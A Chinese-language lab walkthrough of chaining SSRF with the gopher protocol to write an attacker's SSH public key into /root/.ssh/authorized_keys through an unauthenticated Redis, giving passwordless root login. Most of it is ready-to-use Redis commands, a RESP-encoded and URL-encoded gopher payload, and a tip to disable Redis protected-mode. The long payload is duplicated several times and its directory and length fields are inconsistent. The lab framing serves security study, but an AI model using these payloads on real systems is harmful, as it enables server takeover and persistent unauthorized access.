ssrf结合redis写入公钥

目录

centos

1、kali生成密钥

2、redis数据库写入公钥

3、通过ssrf进行写入公钥

ubuntu

---

我这里用了Web-Redis-Lab漏洞环境来演示

攻击机kali：192.168.168.128

目标机：192.168.168.134

centos

1、kali生成密钥

使用ssh-keygen -t rsa生成密钥，id_rsa是私钥，id_rsa.pub是公钥，我们要用的就是公钥

ssh-keygen -t rsa

2、redis数据库写入公钥

将上面kali中的id_rsa.pub的公钥内容取出，通过redis数据库将公钥写入到/root/.ssh下,注意的是，写入的文件名必须是authorized_keys

flushall
set 1 '公钥内容'
config set dir /root/.ssh
config set dbfilename authorized_keys
save

Redis服务器与客户端通过RESP协议通信，所以需要将上面的内容编译为RESR协议的格式：

gopher://127.0.0.1:6379/_*1

$8

flushall

*3

$3

set

$1

1

$567

 

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs+T1/XT0hWU+RVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP+SEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV+wtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ+MIqJs9MBauQjJNa+jO+QqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3+T1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ+mhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ+ZQPTYFwxbwavnQxMU= root@mykali

*4

$6

config

$3

set

$3

dir

$10

/root/.ssh

*4

$6

config

$3

set

$10

dbfilename

$15

authorized_keys

*1

$4

save

*1

$4

quit

我这里Redis数据库端口映射到了3333端口，由于是本地访问，所以使用127.0.0.1，使用本地默认端口是6379

3、通过ssrf进行写入公钥

我们通过ssrf写入，这是后就需要用到gopher协议。

gopher协议：gopher支持发出GET、POST请求。可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

在这个实验中，没有在请求头中，所以服务器会进行一次解析，需要用urlcode编码一次

构造payload：

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24568%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs%2BT1/XT0hWU%2BRVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP%2BSEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV%2BwtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ%2BMIqJs9MBauQjJNa%2BjO%2BQqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3%2BT1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ%2BmhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ%2BZQPTYFwxbwavnQxMU%3D%20root%40mykali%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%246%0D%0A/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0Agopher://192.168.168.134:3333/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24568%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs%2BT1/XT0hWU%2BRVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP%2BSEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV%2BwtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ%2BMIqJs9MBauQjJNa%2BjO%2BQqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3%2BT1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ%2BmhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ%2BZQPTYFwxbwavnQxMU%3D%20root%40mykali%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%246%0D%0A/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0Agopher://192.168.168.134:3333/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24568%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs%2BT1/XT0hWU%2BRVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP%2BSEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV%2BwtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ%2BMIqJs9MBauQjJNa%2BjO%2BQqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3%2BT1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ%2BmhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ%2BZQPTYFwxbwavnQxMU%3D%20root%40mykali%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%246%0D%0A/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0Agopher://192.168.168.134:3333/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24568%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCzM2dS0hJe/04kvRqW8zPSs%2BT1/XT0hWU%2BRVvvoSd3QhMhhaMoFLsajUBZ4L3X35Jrp5XrHFGAlIovvFT53L7/Q7ofAzsRaK1nnWU24KJe5Be/xnRNNFEbdz/FE7pmuCHerW5/MR8av9AMNwwtHWP%2BSEeb8rqBrB72FHQEVce4rBGauiPnmIdC0G7VRCc0zUAJGCK4Q1jBZz70wzQNrENm38DsyweXAs8Q2bntzXGOjgWpSXudqGVOxHYAfft6KwnyV%2BwtU3wQWGFwgSRfu4qiqx9CYfd9tQubSAuJ%2BMIqJs9MBauQjJNa%2BjO%2BQqSUWoE3CZrzQrQiSgxZWxF4U8sb5ijyaKuLZ3%2BT1IDcAwx6ecANTgFG1RpwE23ktna/jynqdYdS3JNjFqTSI4fwxqD4y2iP6fFYSOp0nEZLAS7RZxPjU5uSZYr6j3BYz59gtEPQ%2BmhzwncEqJvVzJd25TT8kcuU2S39mS1oAcxnObrkEqrTZ%2BZQPTYFwxbwavnQxMU%3D%20root%40mykali%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%246%0D%0A/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

发起请求：

可以看到成功写入，公钥已成功写入.ssh中：

在kali机上ssh连接目标机：

可以看见已经可以无密钥登入服务器

ubuntu

在ubuntu中基本和centos写入是一样的，但是可能会出现下面报错：

可能是redis的保护配置，需要将protected-mode关闭，

可以构造一个下面语句的payload试试，

config set protected-mode no

也可能是因为拉取的redis数据库的版本比较高，安全配置比价好。